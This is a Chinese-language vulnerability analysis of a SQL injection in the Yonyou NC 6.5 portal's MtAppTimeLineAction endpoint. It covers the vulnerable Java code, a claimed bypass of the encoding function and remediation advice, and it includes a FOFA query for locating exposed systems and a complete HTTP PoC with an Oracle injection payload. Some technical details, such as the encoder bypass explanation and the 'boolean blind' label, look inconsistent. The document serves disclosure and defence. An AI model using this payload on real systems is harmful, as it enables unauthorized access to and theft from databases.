用友NC Portal端MtAppTimeLineAction接口存在SQL注入
字数 947 2025-11-21 12:33:20

用友NC Portal端MtAppTimeLineAction接口SQL注入漏洞分析

一、漏洞概述

用友NC系统的Portal端MtAppTimeLineAction接口存在SQL注入安全漏洞,攻击者可通过构造恶意参数未经授权访问数据库,导致敏感数据泄露。

二、影响版本

  • 用友NC 6.5版本

三、漏洞定位

3.1 漏洞文件路径

nc/bs/oa/oamt/action/MtAppTimeLineAction.class

3.2 漏洞触发方法

doApply()方法

四、漏洞原理分析

4.1 漏洞代码分析

MtAppTimeLineAction.class中的关键代码:

public void doApply() {
    HttpServletRequest request = this.request;
    String maEventPk = request.getParameter("meapk");
    IMeetingApplyQueryService qs = (IMeetingApplyQueryService)NCLocator.getInstance().lookup(IMeetingApplyQueryService.class);
    String whereSQL = "pk_mtappdoc='" + NCESAPI.sqlEncode(maEventPk) + "'";
    
    try {
        MeetingApplyEventVO[] maEvents = qs.queryMeetingApplyEvents(whereSQL, (SQLParameter)null);
        // ...后续处理代码
    } catch (BusinessException var8) {
        // 异常处理
    }
}

4.2 SQL查询链分析

queryMeetingApplyEvents方法调用链:

// 第一层调用
public MeetingApplyEventVO[] queryMeetingApplyEvents(String sqlWhere, SQLParameter sqlParam) throws BusinessException {
    return this.getDAO().queryMeetingApplyEvents(sqlWhere, sqlParam);
}

// 第二层调用(DAO层)
public MeetingApplyEventVO[] queryMeetingApplyEvents(String sqlWhere, SQLParameter sqlParam) throws BusinessException {
    StringBuilder sd = new StringBuilder();
    sd.append("select a.pk_mtappdoc, a.pk_mtapp, a.subject, a.starttime, a.endtime, a.meetingroom, a.applier, b.name as applier_name, a.APPROVE_STATE, a.approver, a.operator,a.bill_code ");
    sd.append("from OAMT_MTAPP a, BD_PSNDOC b where a.applier=b.PK_PSNDOC ");
    
    if (StringUtils.isNotEmpty(sqlWhere)) {
        sd.append(" and ").append(sqlWhere);  // 漏洞点:直接拼接用户输入
    }
    
    MeetingApplyEventVO[] meetingApplyEventVOs = (MeetingApplyEventVO[])this.executeQueryVOs(sd.toString(), MeetingApplyEventVO.class);
    return meetingApplyEventVOs;
}

4.3 编码绕过机制分析

NCESAPI.sqlEncode编码逻辑:

public String encode(char[] immune, String input) {
    StringBuilder sb = new StringBuilder();
    boolean encoding = false;
    boolean inquotes = false;
    
    for(int i = 0; i < input.length(); ++i) {
        char c = input.charAt(i);
        
        if (!containsCharacter(c, EncoderConstants.CHAR_ALPHANUMERICS) && !containsCharacter(c, immune)) {
            // 非字母数字字符处理逻辑
            if (inquotes && i < input.length()) {
                sb.append("\"");
            }
            if (i > 0) {
                sb.append("&");
            }
            sb.append(this.encodeCharacter(immune, c));
            inquotes = false;
            encoding = true;
        } else {
            // 字母数字字符处理
            if (encoding && i > 0) {
                sb.append("&");
            }
            if (!inquotes && i > 0) {
                sb.append("\"");
            }
            sb.append(c);
            inquotes = true;
            encoding = false;
        }
    }
    return sb.toString();
}

public String encodeCharacter(char[] immune, Character c) {
    char ch = c;
    if (containsCharacter(ch, immune)) {
        return "" + ch;
    } else {
        String hex = Codec.getHexForNonAlphanumeric(ch);
        return hex == null ? "" + ch : "chrw(" + c + ")";
    }
}

4.4 编码绕过原理

  1. 编码规则:字母数字字符原样保留,其他字符转换为chrw(...)形式
  2. 绕过原理:数据库会将chrw(40)解析为(chrw(61)解析为=,语义保持不变
  3. 关键点:虽然输入被编码,但SQL语义在数据库层面保持不变,导致注入依然可行

五、漏洞验证

5.1 资产识别

FOFA搜索语法:

app="用友-UFIDA-NC"

5.2 POC验证

POST /portal/pt/mtapptimeline/doApply HTTP/1.1
Host: [目标地址]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

pageId=login&meapk=1' AND 7722=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(122)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (7722=7722) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(98)||CHR(113))-- Jvzs

5.3 POC说明

  • 使用CHR()函数绕过编码检测
  • 通过布尔盲注技术验证漏洞存在性
  • 利用Oracle数据库的UTL_INADDR.GET_HOST_ADDRESS函数

六、漏洞危害

  1. 数据泄露:攻击者可获取数据库中的敏感信息
  2. 权限提升:可能通过SQL注入获取系统更高权限
  3. 系统控制:在特定条件下可能实现远程代码执行

七、修复建议

7.1 立即措施

  1. 安装用友官方发布的最新安全补丁
  2. 对系统进行安全评估和漏洞扫描

7.2 代码修复方案

原问题代码:

String whereSQL = "pk_mtappdoc='" + NCESAPI.sqlEncode(maEventPk) + "'";

修复方案:

// 方案1:使用预编译语句
String sql = "pk_mtappdoc = ?";
SQLParameter param = new SQLParameter();
param.addParam(maEventPk);

// 方案2:使用框架提供的安全查询方法
MeetingApplyEventVO[] maEvents = qs.queryMeetingApplyEventsWithParam(sql, param);

7.3 长期防护措施

  1. 输入验证:实施严格的白名单输入验证机制
  2. 参数化查询:全面采用参数化查询替代字符串拼接
  3. 最小权限原则:数据库连接使用最小必要权限账户
  4. 安全编码培训:加强开发人员安全编码意识
  5. 定期安全审计:建立代码安全审计机制

八、技术总结

该漏洞的根本原因在于开发人员过度依赖编码函数提供的安全性,未能正确理解编码与参数化查询的本质区别。编码函数只能防止某些特定类型的攻击,但不能替代参数化查询提供的真正安全防护。

用友NC Portal端MtAppTimeLineAction接口SQL注入漏洞分析 一、漏洞概述 用友NC系统的Portal端MtAppTimeLineAction接口存在SQL注入安全漏洞,攻击者可通过构造恶意参数未经授权访问数据库,导致敏感数据泄露。 二、影响版本 用友NC 6.5版本 三、漏洞定位 3.1 漏洞文件路径 3.2 漏洞触发方法 doApply() 方法 四、漏洞原理分析 4.1 漏洞代码分析 MtAppTimeLineAction.class中的关键代码: 4.2 SQL查询链分析 queryMeetingApplyEvents方法调用链: 4.3 编码绕过机制分析 NCESAPI.sqlEncode编码逻辑: 4.4 编码绕过原理 编码规则 :字母数字字符原样保留,其他字符转换为 chrw(...) 形式 绕过原理 :数据库会将 chrw(40) 解析为 ( , chrw(61) 解析为 = ,语义保持不变 关键点 :虽然输入被编码,但SQL语义在数据库层面保持不变,导致注入依然可行 五、漏洞验证 5.1 资产识别 FOFA搜索语法: 5.2 POC验证 5.3 POC说明 使用 CHR() 函数绕过编码检测 通过布尔盲注技术验证漏洞存在性 利用Oracle数据库的 UTL_INADDR.GET_HOST_ADDRESS 函数 六、漏洞危害 数据泄露 :攻击者可获取数据库中的敏感信息 权限提升 :可能通过SQL注入获取系统更高权限 系统控制 :在特定条件下可能实现远程代码执行 七、修复建议 7.1 立即措施 安装用友官方发布的最新安全补丁 对系统进行安全评估和漏洞扫描 7.2 代码修复方案 原问题代码: 修复方案: 7.3 长期防护措施 输入验证 :实施严格的白名单输入验证机制 参数化查询 :全面采用参数化查询替代字符串拼接 最小权限原则 :数据库连接使用最小必要权限账户 安全编码培训 :加强开发人员安全编码意识 定期安全审计 :建立代码安全审计机制 八、技术总结 该漏洞的根本原因在于开发人员过度依赖编码函数提供的安全性,未能正确理解编码与参数化查询的本质区别。编码函数只能防止某些特定类型的攻击,但不能替代参数化查询提供的真正安全防护。